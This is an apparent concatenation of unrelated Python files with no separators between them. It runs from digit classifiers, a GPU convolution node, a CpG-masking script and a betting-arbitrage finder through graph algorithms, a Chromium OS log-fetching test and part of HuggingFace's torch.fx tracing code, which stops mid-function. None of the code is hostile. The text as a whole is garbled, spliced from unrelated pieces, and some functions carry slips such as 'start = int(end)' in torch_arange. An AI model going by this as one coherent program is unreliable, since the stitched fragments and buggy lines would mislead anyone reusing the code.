y: if(i == d): yp.append(1) else: yp.append(-1) XR = numpy.linalg.inv(XpTXp + lam*numpy.identity(784+1)) w = XR@(Xp.T)@yp return w #rw = ridge_classifier_for_digit(0,Xp,XpTXp,y,1) def supportvector_classifier_for_digit(d,Xp,y): yp = [] for i in y: if(i == d): yp.append(1) else: yp.append(-1) n_train = len(yp) X = Xp #X = Xp/255.0 #xt = numpy.hstack((X,numpy.ones((n_train,1)))) xt = Xp clf = LinearSVC(random_state=1, tol=.001,max_iter = 100000) clf.fit(xt, yp) w_opt = clf.coef_.transpose() return w_opt gnb = GaussianNB() nb_classifier = gnb.fit(Xp,y) nb_classifier.predict(Xp[0]) """from article https://scikit-learn.org/stable/modules/naive_bayes.html print("Number of mislabeled points out of a total %d points : %d" ... % (X_test.shape[0], (y_test != y_pred).sum()))""" gQuant/plugins/cusignal_plugin/greenflow_cusignal_plugin/convolution/convolve.py import numpy as np import cupy as cp from cusignal.convolution import convolve as cuconv from scipy.signal import convolve as siconv from greenflow.dataframe_flow import (Node, PortsSpecSchema, ConfSchema) from greenflow.dataframe_flow.template_node_mixin import TemplateNodeMixin __all__ = ['CusignalConvolveNode'] _CONV_DESC = '''Convolve two N-dimensional arrays. Convolve `in1` and `in2`, with the output size determined by the `mode` argument. Returns: convolve : array An N-dimensional array containing a subset of the discrete linear convolution of `in1` with `in2`. ''' _CONV_MODE_DESC = '''mode : str {'full', 'valid', 'same'}, optional A string indicating the size of the output: ``full`` The output is the full discrete linear convolution of the inputs. (Default) ``valid`` The output consists only of those elements that do not rely on the zero-padding. In 'valid' mode, either `in1` or `in2` must be at least as large as the other in every dimension. ``same`` The output is the same size as `in1`, centered with respect to the 'full' output. ''' _CONV_METHOD_DESC = '''method : str {'auto', 'direct', 'fft'}, optional A string indicating which method to use to calculate the convolution. ``direct`` The convolution is determined directly from sums, the definition of convolution. ``fft`` The Fourier Transform is used to perform the convolution by calling `fftconvolve`. ``auto`` Automatically chooses direct or Fourier method based on an estimate of which is faster (default). ''' class CusignalConvolveNode(TemplateNodeMixin, Node): def init(self): TemplateNodeMixin.init(self) port_type = PortsSpecSchema.port_type inports = { 'in1': {port_type: [cp.ndarray, np.ndarray]}, 'in2': {port_type: [cp.ndarray, np.ndarray]} } outports = { 'convolve': {port_type: [cp.ndarray, np.ndarray]}, } self.template_ports_setup(in_ports=inports, out_ports=outports) meta_outports = {'convolve': {}} self.template_meta_setup(out_ports=meta_outports) def conf_schema(self): mode_enum = ['full', 'valid', 'same'] method_enum = ['direct', 'fft', 'auto'] json = { 'title': 'Cusignal Convolution Node', 'type': 'object', 'description': _CONV_DESC, 'properties': { 'mode': { 'type': 'string', 'description': _CONV_MODE_DESC, 'enum': mode_enum, 'default': 'full' }, 'method': { 'type': 'string', 'description': _CONV_METHOD_DESC, 'enum': method_enum, 'default': 'auto' }, 'normalize': { 'type': 'boolean', 'description': 'Scale convolutioni by in2 (typically a ' 'window) i.e. convolve(in1, in2) / sum(in2). ' 'Default False.', 'default': False }, 'use_cpu': { 'type': 'boolean', 'description': 'Use CPU for computation via ' 'scipy::signal.convolve. Default is False and runs on ' 'GPU via cusignal.', 'default': False }, }, } return ConfSchema(json=json) def process(self, inputs): mode = self.conf.get('mode', 'full') method = self.conf.get('method', 'auto') normalize = self.conf.get('normalize', False) use_cpu = self.conf.get('use_cpu', False) in1 = inputs['in1'] in2 = inputs['in2'] if use_cpu: conv = siconv(in1, in2, mode=mode, method=method) if normalize: scale = np.sum(in2) else: conv = cuconv(in1, in2, mode=mode, method=method) if normalize: scale = cp.sum(in2) if normalize: conv = conv if scale == 1 else conv / scale return {'convolve': conv} #!/afs/bx.psu.edu/project/pythons/linux-i686-ucs4/bin/python2.7 """ Mask out potential CpG sites from a maf. Restricted or inclusive definition of CpG sites can be used. The total fraction masked is printed to stderr. usage: %prog < input > output -m, --mask=N: Character to use as mask ('?' is default) -r, --restricted: Use restricted definition of CpGs """ import bx.align import bx.align.maf from bx.cookbook import doc_optparse import sys import bx.align.sitemask.cpg def main(): options, args = doc_optparse.parse( __doc__ ) try: if options.mask: mask = options.mask else: mask = "?" except: doc_optparse.exception() reader = bx.align.maf.Reader( sys.stdin ) writer = bx.align.maf.Writer( sys.stdout ) if options.restricted: cpgfilter = bx.align.sitemask.cpg.Restricted( mask=mask ) else: cpgfilter = bx.align.sitemask.cpg.Inclusive( mask=mask ) cpgfilter.run( reader, writer.write ) print >> sys.stderr, str( float(cpgfilter.masked)/float(cpgfilter.total) * 100 ) + "% bases masked." if __name__ == "__main__": main() # Dependencies # =============================================================================================== import json # Keys # =============================================================================================== # Odd type a = 'Single' b = 'Double' c = 'DNB' d = 'GGNG' # Bookmarker u = 'Bet9ja' v = 'Betking' w = 'Bet365' x = 'Betpawa' y = 'Nairabet' z = 'Sportybet' # Angle m = 1 n = 2 # Function # =============================================================================================== # Fetch def fetch(bookmarker_1, bookmaker_1_oddType, bookmarker_1_angle, bookmarker_2, bookmaker_2_oddType, bookmarker_2_angle): # Define f path f_1 = bookmarker_1.lower() + '_' + bookmaker_1_oddType + '.txt' fd_1 = bookmarker_1 f_2 = bookmarker_2.lower() + '_' + bookmaker_2_oddType + '.txt' fd_2 = bookmarker_2 # Get file with open('./' + fd_1 + '/' + f_1, 'r') as json_file_1: global data_1 data_1 = json.load(json_file_1) with open('./' + fd_2 + '/' + f_2, 'r') as json_file_2: global data_2 data_2 = json.load(json_file_2) # loop and search for i in range(len(data_1)): match_1 = data_1[i]['match'].split(' vs ') home_team_1 = match_1[0].split(' ') away_team_1 = match_1[1].split(' ') for j in range(len(data_2)): match_2 = data_2[j]['match'].split(' vs ') home_team_2 = match_2[0].split(' ') away_team_2 = match_2[1].split(' ') # Check for h_team in home_team_1: # Compare Home teams if h_team in home_team_2 and len(h_team) > 2: for a_team in away_team_1: # Compare Away teams if a_team in away_team_2 and len(a_team) > 2: pair = [] pair.append(data_1[i]) pair.append(data_2[j]) calculate(pair, bookmarker_1_angle, bookmarker_2_angle) break else: pass continue else: pass break # Calculate Possibilities def calculate(odd_pair, bookmarker_1_angle, bookmarker_2_angle): global check_1 global check_2 if int(bookmarker_1_angle) == 1: check_1 = odd_pair[0]['home'] or odd_pair[0]['GG'] or odd_pair[0]['1X'] else: check_1 = odd_pair[0]['away'] or odd_pair[0]['NG'] or odd_pair[0]['2X'] if int(bookmarker_2_angle) == 1: check_2 = odd_pair[1]['home'] or odd_pair[1]['GG'] or odd_pair[1]['1X'] else: check_2 = odd_pair[1]['away'] or odd_pair[1]['NG'] or odd_pair[1]['2X'] # Check if (1/float(check_1) * 100) + (1/float(check_2) * 100) < 100: profit = 100 - ((1/float(check_1) * 100) + (1/float(check_2) * 100)) odd_pair.append(profit) print(odd_pair) return fetch(u, a, m, z, a, n) LibertyDream/algorithm_data_structure from weighted_sparse_graph import WeightedSparseGraph as wsg from index_min_heap import IndexMinHeap class Dijkstra(object): '''借助最小索引堆实现有向带权图的单源最短路径算法 O(ElogV) Dijkstra 算法要求没有负权边 ''' def __init__(self, graph, orgin): self.__graph = graph self.__orgin = orgin self.__visited = [False] * graph.get_node_nums() self.__weight_to = [0] * graph.get_node_nums() self.__from = [-1] * graph.get_node_nums() imh = IndexMinHeap(graph.get_edge_nums()) # Dijkstra imh.add(orgin, 0) while not imh.is_empty(): node = imh.pop_index() self.__visited[node] = True # 松弛操作 relaxation edges = self.__graph.iter_nodes(node) for edge in edges: goal = edge.other(node) if not self.__visited[goal]: if self.__from[goal] == -1 or self.__weight_to[node] + edge.weight < self.__weight_to[goal]: self.__weight_to[goal] = self.__weight_to[node] + edge.weight self.__from[goal] = node if imh.get(goal) is None: imh.add(goal, self.__weight_to[goal]) else: imh.change(goal, self.__weight_to[goal]) def has_path(self, node): return self.__visited[node] def get_path(self, node): ret = [] if not self.has_path(node): return ret while node != -1: ret.append(node) node = self.__from[node] return ret[::-1] def show_path(self, node): path = self.get_path(node) string = '' for item in path: string += '%d ' % item if item != node: string += '-> ' print(string) def path_weight_to(self, node): if not self.has_path(node): return -1 return self.__weight_to[node] datas = [[5, 8], [0,1,5], [0,2,2], [0,3,6], [2,1,1], [2,3,3], [2,4,5], [1,4,1], [3,4,2]] def init(graph, data, directed = False): node_nums, edge_nums = data[0] ret = graph(node_nums, directed) for i in range(1, edge_nums): orgin, goal, weight = data[i] ret.add_edge(orgin, goal, weight) return ret if __name__ == "__main__": graph = init(wsg, datas, False) dj = Dijkstra(graph, 0) for i in range(1,graph.get_node_nums()): print('show path to %d, path weight:%.2f' % (i, dj.path_weight_to(i))) dj.show_path(i)arr = [1] pos = [0, 0, 0] nums = (2, 3, 5) class Solution: def nthUglyNumber(self, n: int) -> int: if n > len(arr): for i in range(len(arr), n): arr.append(min(map(lambda x: arr[x[0]] * x[1], zip(pos, nums)))) if arr[i] == arr[pos[0]] * 2: pos[0] += 1 if arr[i] == arr[pos[1]] * 3: pos[1] += 1 if arr[i] == arr[pos[2]] * 5: pos[2] += 1 return arr[n - 1] s = Solution() print(s.nthUglyNumber(10)) wangkingkingking/synme0 import numpy as np import cv2 import os import random import argparse parser = argparse.ArgumentParser(description = 'Calculate an RGB mean estimation of all images in a dir') parser.add_argument('--image_dir') parser.add_argument('-r','--ratio', default = 0.1, type=float, help='ratio of calculated image num to the total num of images') parser.add_argument('--extention', type=str, default='.jpg') parser.add_argument('-m', '--max', default = None) args = parser.parse_args() def main(): image_dir = args.image_dir imglist = os.listdir(image_dir) num = int(len(imglist)*args.ratio) random.shuffle(imglist) res = [0, 0, 0] cnt = 0 for img in imglist: if not img.endswith(args.extention): continue cnt += 1 if cnt == num: break img = os.path.join(image_dir, img) img = cv2.imread(img) H, W, C = img.shape img = img.sum(0) / H img = img.sum(0) / W res = res + img/num print('BGR mean is ', res) return res if __name__ == '__main__': main() """ messaging.py """ from uuid import uuid4 from utils import dictMerge def validatePosition(updDict, halfX, halfY): """ Utility function to keep the 'x' and 'y' in a dict bound within the game field, respecting null values and other keys that may be present in the dict expressing the item position. """ def _constrainNoneAware(val, minv, maxv): if val is None: return val else: return max(minv, min(val, maxv)) payload = { 'x': _constrainNoneAware(updDict['payload']['x'], 0, 2*halfX - 2), 'y': _constrainNoneAware(updDict['payload']['y'], 0, 2*halfY - 2), } return dictMerge( { 'payload': payload, }, default=updDict, ) def makeGoodbyeUpdate(client_id): """ A default goodbye message to publish to the Pulsar topic in case a client disconnection is detected """ return { 'messageType': 'player', 'playerID': client_id, 'payload': { 'x': None, 'y': None, 'h': False, 'generation': 0, 'playerName': '', }, } def makeWelcomeUpdate(client_id): """ A server-generated chat message to greet a new player """ return { 'messageType': 'chat', 'payload': { 'id': str(uuid4()), 'playerName': '** API **', 'text': 'Welcome to the game!', }, 'playerID': '_api_server_', } def makeGeometryUpdate(hsX, hsY): """ Prepare a message containing the field geometry info """ return { 'messageType': 'geometry', 'payload': { 'halfSizeX': hsX, 'halfSizeY': hsY, }, } try: from setuptools import setup, find_packages except ImportError: from ez_setup import use_setuptools use_setuptools() from setuptools import setup, find_packages setup( name = 'mistamover', version = "0.9.0", description = 'A tool for robust data transfer using existing protocols', author = '', author_email = '', url = 'http://proj.badc.rl.ac.uk/cedaservices/wiki/JASMIN/MiStaMover', install_requires = [], dependency_links = [], packages = find_packages(exclude = ['ez_setup']), include_package_data = True, test_suite = '', tests_require = [], package_data = {}, entry_points = """ """, ) 0 __version__ = '5.0.3' __author__ = '' __repo__ = 'https://github.com/a1key/python2_as1' 1-10 # Copyright 2016 The Chromium OS Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import json import logging import os import shutil import tempfile import time import unittest import xmlrpc.client import zipfile from cros.factory.device import device_utils from cros.factory.test.pytests.offline_test.shell import common from cros.factory.test import server_proxy from cros.factory.test import session from cros.factory.utils.arg_utils import Arg from cros.factory.utils import file_utils LOGS_ARG_HELP = """ Set customized log files. A list of tuples: (local_fpath, remote_fpath, required). * - ``local_fpath``: (str) The file path stored in local. We can not use absolute path of local_fpath. - ``remote_fpath``: (str) The file path from remote which will be os.path.join with self.data_root. - ``required``: (bool) Check if it is required or not. If this log is required but we do not get it, we will raise exception. """ class OfflineTestFetchLog(unittest.TestCase): """Fetch results of shell offline test.""" ARGS = [ Arg('logs', list, LOGS_ARG_HELP, default=[]), Arg('shopfloor_dir_name', str, 'Relative directory on shopfloor', default='offline_test'), Arg('upload_to_shopfloor', bool, 'Whether uploading fetched log file to shopfloor or not.', default=True)] def setUp(self): self.dut = device_utils.CreateDUTInterface() self.data_root = common.DataRoot(self.dut) self.temp_dir = tempfile.mkdtemp() def tearDown(self): if os.path.exists(self.temp_dir): shutil.rmtree(self.temp_dir) def _DisableStartUpApp(self): self.dut.init.RemoveFactoryStartUpApp(common.OFFLINE_JOB_NAME) def _FetchFiles(self, local_fpath, remote_fpath, required): local_path = os.path.join(self.temp_dir, local_fpath) remote_path = self.dut.path.join(self.data_root, remote_fpath) try: self.dut.link.Pull(remote_path, local_path) except Exception: logging.exception('cannot fetch %s from DUT', remote_path) if required: self.fail('cannot fetch %s from DUT' % remote_path) else: return [] return [local_path] def _CompressLog(self, files): zipfile_name = '%s.zip' % time.strftime('%Y%m%d%H%M%S') zipfile_path = os.path.join(self.temp_dir, zipfile_name) with zipfile.ZipFile(zipfile_path, 'w') as myzip: for f in files: logging.info('zip file %r', f) myzip.write(f) return zipfile_path def runTest(self): # disable test script self._DisableStartUpApp() # fetch results upload_files = [] for fname in ['logfile', 'task_id']: local_path = self._FetchFiles(fname, fname, True) upload_files += local_path # fetch customized logs for local, remote, required in self.args.logs: local_path = self._FetchFiles(local, remote, required) upload_files += local_path # get test spec test_spec = json.loads(self.dut.ReadFile( self.dut.path.join(self.data_root, 'test_spec.json'))) total_tasks = len(test_spec) last_task_id = int(self.dut.ReadFile( self.dut.path.join(self.data_root, 'task_id'))) if self.args.upload_to_shopfloor: dir_name = os.path.join(self.args.shopfloor_dir_name, self.dut.info.mlb_serial_number) # TODO(hungte) Change this by test log? proxy = server_proxy.GetServerProxy() zip_file = self._CompressLog(upload_files) proxy.SaveAuxLog( os.path.join(dir_name, os.path.basename(zip_file)), xmlrpc.client.Binary(file_utils.ReadFile(zip_file, encoding=None))) else: logging.info('DUT mlb_serial_number: %s', self.dut.info.mlb_serial_number) logging.info('logfile: %s', file_utils.ReadFile(os.path.join(self.temp_dir, 'logfile'))) # if the test succeeded, last_task_id should be (total_tasks + 1) if last_task_id != total_tasks + 1: failed_test = test_spec[last_task_id - 1] if 'shtest_name' in failed_test: failed_test_name = failed_test['shtest_name'] elif 'pytest_name' in failed_test: failed_test_name = failed_test['pytest_name'] else: raise ValueError('Cannot find shtest_name or pytest_name.') fail_msg = 'offline test failed on test %s (%d/%d)' % ( failed_test_name, last_task_id, total_tasks) session.console.error(fail_msg) # show content of logfile in factory.log if self.args.upload_to_shopfloor: logging.error('logfile: %s', file_utils.ReadFile(os.path.join(self.temp_dir, 'logfile'))) self.fail(fail_msg) src/transformers/utils/fx.py # coding=utf-8 # Copyright 2021 The HuggingFace Team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import builtins import collections import functools import inspect import math import operator import random import warnings from typing import Any, Callable, Dict, Iterable, List, Optional, Type, Union import torch from packaging import version from torch import nn from torch.fx import Graph, GraphModule, Proxy, Tracer from torch.fx.proxy import ParameterProxy from .. import PretrainedConfig, PreTrainedModel, logging from ..models.auto import get_values from ..models.auto.modeling_auto import ( MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES, MODEL_FOR_CAUSAL_LM_MAPPING_NAMES, MODEL_FOR_CTC_MAPPING_NAMES, MODEL_FOR_IMAGE_CLASSIFICATION_MAPPING_NAMES, MODEL_FOR_MASKED_IMAGE_MODELING_MAPPING_NAMES, MODEL_FOR_MASKED_LM_MAPPING_NAMES, MODEL_FOR_MULTIPLE_CHOICE_MAPPING_NAMES, MODEL_FOR_NEXT_SENTENCE_PREDICTION_MAPPING_NAMES, MODEL_FOR_PRETRAINING_MAPPING_NAMES, MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES, MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING_NAMES, MODEL_FOR_SEQUENCE_CLASSIFICATION_MAPPING_NAMES, MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES, MODEL_FOR_TOKEN_CLASSIFICATION_MAPPING_NAMES, MODEL_MAPPING_NAMES, ) from ..utils import TORCH_FX_REQUIRED_VERSION, is_torch_fx_available from ..utils.versions import importlib_metadata logger = logging.get_logger(__name__) def _generate_supported_model_class_names( model_name: Type[PretrainedConfig], supported_tasks: Optional[Union[str, List[str]]] = None, ) -> List[str]: task_mapping = { "default": MODEL_MAPPING_NAMES, "pretraining": MODEL_FOR_PRETRAINING_MAPPING_NAMES, "next-sentence-prediction": MODEL_FOR_NEXT_SENTENCE_PREDICTION_MAPPING_NAMES, "masked-lm": MODEL_FOR_MASKED_LM_MAPPING_NAMES, "causal-lm": MODEL_FOR_CAUSAL_LM_MAPPING_NAMES, "seq2seq-lm": MODEL_FOR_SEQ_TO_SEQ_CAUSAL_LM_MAPPING_NAMES, "speech-seq2seq": MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES, "multiple-choice": MODEL_FOR_MULTIPLE_CHOICE_MAPPING_NAMES, "question-answering": MODEL_FOR_QUESTION_ANSWERING_MAPPING_NAMES, "sequence-classification": MODEL_FOR_SEQUENCE_CLASSIFICATION_MAPPING_NAMES, "token-classification": MODEL_FOR_TOKEN_CLASSIFICATION_MAPPING_NAMES, "masked-image-modeling": MODEL_FOR_MASKED_IMAGE_MODELING_MAPPING_NAMES, "image-classification": MODEL_FOR_IMAGE_CLASSIFICATION_MAPPING_NAMES, "ctc": MODEL_FOR_CTC_MAPPING_NAMES, "audio-classification": MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES, } if supported_tasks is None: supported_tasks = task_mapping.keys() if isinstance(supported_tasks, str): supported_tasks = [supported_tasks] model_class_names = [] for task in supported_tasks: class_name = task_mapping[task].get(model_name, None) if class_name: model_class_names.append(class_name) return model_class_names _REGULAR_SUPPORTED_MODEL_NAMES_AND_TASKS = [ "albert", "bart", "bert", "blenderbot", "blenderbot-small", "clip", "deberta", "deberta-v2", "distilbert", "electra", "gpt2", "gpt_neo", "gptj", "hubert", "layoutlm", "lxmert", "m2m_100", "marian", "mbart", "megatron-bert", "mobilebert", "mt5", "opt", "pegasus", "plbart", "roberta", "speech_to_text", "speech_to_text_2", "swin", "t5", "trocr", "vit", "xglm", # "xlnet", # TODO: add support for them as it should be quite easy to do so (small blocking issues). ] _REGULAR_SUPPORTED_MODELS = [] for item in _REGULAR_SUPPORTED_MODEL_NAMES_AND_TASKS: if isinstance(item, dict): _REGULAR_SUPPORTED_MODELS.extend(_generate_supported_model_class_names(**item)) else: _REGULAR_SUPPORTED_MODELS.extend(_generate_supported_model_class_names(item)) _SPECIAL_SUPPORTED_MODELS = [ "CLIPTextModel", "CLIPVisionModel", "GPT2DoubleHeadsModel", "Speech2Text2Decoder", "TrOCRDecoder", # TODO: add support for them as it should be quite easy to do so (small blocking issues). # XLNetForQuestionAnswering, ] _SUPPORTED_MODELS = tuple(sorted(set(_REGULAR_SUPPORTED_MODELS + _SPECIAL_SUPPORTED_MODELS))) def torch_nn_embedding(self, input): return torch.empty(*input.shape, self.weight.shape[-1], device="meta") def torch_nn_functional_embedding( input, weight, padding_idx=None, max_norm=None, norm_type=2.0, scale_grad_by_freq=False, sparse=False ): return torch.empty(*input.shape, weight.shape[-1], device="meta") def torch_nn_layernorm(self, input): return input def torch_nn_groupnorm(self, input): return input def torch_nn_linear(self, input): return torch.empty(input.shape[:-1] + (self.out_features,), device="meta") def torch_relu(x): return x def torch_nn_relu(self, x): return x def torch_nn_functional_relu(x, inplace=False): if not inplace: raise ValueError("Don't support in-place functional.relu for MetaTensor analysis") return x def torch_where(condition, x, y): # torch.where returns the broadcasted tensor of condition, x, and y, # so hack it by using addition return condition.to(device="meta") + x.to(device="meta") + y.to(device="meta") def torch_abs(input, *, out=None): if out is not None: raise ValueError("Don't support in-place abs for MetaTensor analysis") return input def torch_arange(*args, **kwargs): n = len(args) step = 1 if n == 1: start = 0 end = args[0] elif n == 2: start, end = args else: start, end, step = args if isinstance(start, float): start = int(start) if isinstance(end, float): start = int(end) if isinstance(step, float): step = int(step) step = kwargs.get("step", step) dtype = kwargs.get("dtype") return torch.empty((end - start) // step, dtype=dtype, device="meta") def torch_cat(tensors, dim=None, axis=None, *, out=None): if dim is None and axis is None: dim = 0 if dim is None and axis is not None: dim = axis if dim < 0: dim = tensors[0].dim() + dim shapes = [t.shape for t in tensors] shape = list(shapes[0]) concatenated_dim = sum(shape[dim] for shape in shapes) final_shape = shape[:dim] + [concatenated_dim] + shape[dim + 1 :] return torch.empty(final_shape, device="meta") def torch_stack(tensors, dim=None, axis=None, *, out=None): if dim is None and axis is None: dim = 0 if dim is None and axis is not None: dim = axis if dim < 0: dim = tensors[0].dim() + 1 + dim shape = list(tensors[0].shape) shape.insert(dim, len(tensors)) return torch.empty(shape, device="meta") def torch_add(input, other, *, alpha=1, out=None): if not isinstance(input, torch.Tensor): return torch.empty_like(other, device="meta") if not isinstance(other, torch.Tensor): return torch.empty_like(input, device="meta") max_length = max(input.dim(), other.dim()) input_shape = list(input.shape) + [1] * (max_length - input.dim()) other_shape = list(other.shape) + [1] * (max_length - other.dim()) shape = [] for i in range(max_length): shape.append(max(input_shape[i], other_shape[i])) return torch.empty(shape, device="meta") def torch_mul(input, other, *, out=None): return torch_add(input, other, out=out) def torch_tensor_mul(self, other): return torch_mul(self, other) def torch_matmul(input, other, *, out=None): d1 = input.dim() d2 = other.dim() shape = None if d1 == 1 and d2 == 1: shape = None elif d1 == 2 and d2 == 2: shape = (input.size(0), other.size(1)) elif d1 == 1 and d2 == 2: shape = (other.size(1),) elif d1 == 2 and d1 == 1: shape = (input.size(0),) else: max_length = max(input.dim(), other.dim()) shape1 = list(input.shape) shape2 = list(other.shape) if d1 == 1: shape1 = [1] + shape1 if d2 == 1: shape2.append(1) shape1 = [-1] * (max_length - d1) + list(input.shape) shape2 = [-1] * (max_length - d2) + list(other.shape) shape = [] for i in range(max_length): shape.append(max(shape1[i], shape2[i])) shape[-2] = shape1[-2] shape[-1] = shape2[-1] if d1 == 1: shape.pop(-2) if d2 == 1: shape.pop(-1) if shape is None: return torch.tensor(0.0, device="meta") return torch.empty(*shape, device="meta") def torch_bmm(input, mat2, *, out=None): if out is not None: raise ValueError("Don't support in-place abs for MetaTensor analysis") batch_size, n, m = input.shape _, _, p = mat2.shape return torch.empty(batch_size, n, p, device="meta") def torch_einsum(equation, *operands): # TODO: infer shape without performing the computation, this might be quite hard. concrete_operands = (torch.empty_like(operand, device="cpu") for operand in operands) return torch.einsum(equation, *concrete_operands).to("meta") def torch_tensor_repeat(self, *sizes): shape = list(self.shape) for i, x in enumerate(sizes): shape[i] *= x return torch.empty(shape, device="meta") def torch_index_select(input, dim, index, *, out=None): shape = list(input.shape) shape[dim] = len(index) return torch.empty(*shape, device="meta") def torch_tensor_index_select(self, dim, index): return torch_index_select(self, dim, index) def torch_roll(input, shifts, dims=None): return input def torch_flip(input, dims): return input def torch_tensor_flip(self, dims): return self def torch_nn_conv1d(self, input): l_in = input.shape[-1] shape = None padding = self.padding if padding == "valid": padding = (0, 0) if padding == "same": shape = list(input.shape) if shape is None: shape = list(input.shape) l_out = math.floor( (l_in + 2 * padding[0] - self.dilation[0] * (self.kernel_size[0] - 1) - 1) / self.stride[0] + 1 ) shape[-1] = l_out shape[-2] = self.out_channels return torch.empty(shape, device="meta") def torch_nn_conv2d(self, input): h_in, w_in = input.shape[-2:] shape = None padding = self.padding if padding == "valid": padding = (0, 0) if padding == "same": shape = list(input.shape) if shape is None: shape = list(input.shape) h_out = math.floor( (h_in + 2 * padding[0] - self.dilation[0] * (self.kernel_size[0] - 1) - 1) / self.stride[0] + 1 ) w_out = math.floor( (w_in + 2 * padding[1] - self.dilation[1] * (self.kernel_size[1] - 1) - 1) / self.stride[1] + 1 ) shape[-2:] = [h_out, w_out] shape[-3] = self.out_channels return torch.empty(shape, device="meta") def torch_squeeze(input, dim=None): shape = list(input.shape) if dim is not None: if dim < 0: dim = input.dim() + dim if shape[dim] == 1: shape.pop(dim) else: new_shape = [] for dim_value in shape: if dim_value == 1: continue new_shape.append(dim_value) shape = new_shape return torch.empty(shape, device="meta") def torch_tensor_squeeze(self, dim=None): return torch_squeeze(self, dim) def torch_unsqueeze(input, dim): shape = list(input.shape) if dim < 0: dim = input.dim() + 1 + dim shape.insert(dim, 1) return torch.empty(shape, device="meta") def torch_tensor_unsqueeze(self, dim): return torch_unsqueeze(self, dim) def torch_unique_consecutive(input, **kwargs): output = torch.unique_consecutive(torch.zeros_like(input, device="cpu"), **kwargs) if isinstance(output, torch.Tensor): return output.to("meta") else: return tuple(map(output, lambda x: x.to("meta"))) def torch_nn_functional_one_hot(tensor, num_classes=-1): if num_classes < 0: raise ValueError("Don't support automatic num_classes inference for MetaTensor analysis") shape = list(tensor.shape) + [num_classes] return torch.empty(shape, device="meta") def torch_nn_mseloss(self, input, target): if self.reduction == "none": shape = target.shape else: shape = (1,) return torch.empty(shape, device="meta") def torch_nn_crossentropyloss(self, input, target): if self.reduction == "none": shape = target.shape else: shape = (1,) return torch.empty(shape, device="meta") def torch_nn_bcewithlogitsloss(self, input, target): if self.reduction == "none": shape = target.shape else: shape = (1,) return torch.empty(shape, device="meta") def operator_getitem(a, b): def to_concrete(t): if isinstance(t, torch.Tensor): concrete = torch.ones_like(t, device="cpu") if concrete.dtype in [torch.float16, torch.float32, torch.float64, torch.int32]: concrete = concrete.to(torch.int64) return concrete return t if isinstance(a, torch.Tensor): # TODO: infer shape without performing the computation. if isinstance(b, tuple): b = tuple(map(to_concrete, b)) else: b = to_concrete(b) return operator.getitem(torch.empty_like(a, device="cpu"), b).to("meta") return operator.getitem(a, b) _MANUAL_META_OVERRIDES: Dict[Callable, Callable] = { torch.nn.Embedding: torch_nn_embedding, torch.nn.functional.embedding: torch_nn_functional_embedding, torch.nn.LayerNorm: torch_nn_layernorm, torch.nn.GroupNorm: torch_nn_groupnorm, torch.nn.Linear: torch_nn_linear, torch.relu: torch_relu, torch.nn.functional.relu: torch_nn_functional_relu, torch.nn.ReLU: torch_nn_relu, torch.where: torch_where, torch.abs: torch_abs, torch.arange: torch_arange, torch.cat: torch_cat, torch.stack: torch_stack, torch.add: torch_add, torch.mul: torch_mul, torch.Tensor.mul: torch_tensor_mul, torch.matmul: torch_matmul, torch.bmm: torch_bmm, torch.einsum: torch_einsum, torch.Tensor.repeat: torch_tensor_repeat, torch.roll: torch_roll, torch.flip: torch_flip, torch.Tensor.flip: torch_tensor_flip, torch.index_select: torch_index_select, torch.Tensor.index_select: torch_tensor_index_select, torch.nn.Conv1d: torch_nn_conv1d, torch.nn.Conv2d: torch_nn_conv2d, torch.squeeze: torch_squeeze, torch.Tensor.squeeze: torch_tensor_squeeze, torch.unsqueeze: torch_unsqueeze, torch.Tensor.unsqueeze: torch_tensor_unsqueeze, torch.unique_consecutive: torch_unique_consecutive, torch.nn.functional.one_hot: torch_nn_functional_one_hot, torch.nn.MSELoss: torch_nn_mseloss, torch.nn.CrossEntropyLoss: torch_nn_crossentropyloss, torch.nn.BCEWithLogitsLoss: torch_nn_bcewithlogitsloss, operator.getitem: operator_getitem, } class HFProxy(Proxy): """ Proxy that uses metadata to handle data-dependent control-flow. """ def install_metadata(self, metadata): self._metadata = metadata @property def shape(self): return self.tracer.create_proxy("call_method", "size", (self,), {}) @property def dtype(self): if hasattr(self, "_metadata") and self._metadata is not None: return self._metadata.dtype return self.tracer.create_proxy("call_function", builtins.getattr, (self, "dtype"), {}) @property def device(self): # Hack so we can track when devices are used. During meta-tensor propagation, # replace these values with a constant 'meta' return MetaDeviceAttribute(self, "device") def __len__(self): if hasattr(self, "_metadata") and self._metadata is not None: return len(self._metadata) return super().__len__() def __bool__(self): if hasattr(self, "_metadata") and self._metadata is not None: return self._metadata return super().__bool__() def __getattr__(self, k): if k == "_metadata": return self.__getattribute__(k) # note: not added to the graph yet, if this is a method call # we peephole optimize to the method invocation return HFAttribute(self, k) def __setitem__(self, indices, values): return self.tracer.create_proxy("call_function", operator.setitem, (self, indices, values), {}) def __contains__(self, key): # To handle cases such as : # `"some_key" in kwargs` if self.node.op == "placeholder": return False return super().__contains__(key) class HFAttribute(HFProxy): def __init__(self, root, attr: str): self.root = root self.attr = attr self.tracer = root.tracer self._node = None @property def node(self): # the node for attributes is added lazily, since most will just be method calls # which do not rely on the getitem call if self._node is None: self._node = self.tracer.create_proxy("call_function", getattr, (self.root, self.attr), {}).node return self._node def __call__(self, *args, **kwargs): return self.tracer.create_proxy("call_method", self.attr, (self.root,) + args, kwargs) class MetaDeviceAttribute(HFAttribute): pass def _proxies_to_metas(v): """Returns the underlying metadata for HFProxies, and behaves like the identity for the others.""" if isinstance(v, MetaDeviceAttribute): return "meta" if isinstance(v, torch.fx.Proxy): if not (isinstance(v, HFProxy) and hasattr(v, "_metadata")): raise RuntimeError(f"No metadata was found for {v}") return v._metadata return v def _gen_constructor_wrapper(target): @functools.wraps(target) def wrapper(*args, **kwargs): proxy = None def check_has_proxy(v): if isinstance(v, Proxy): nonlocal proxy 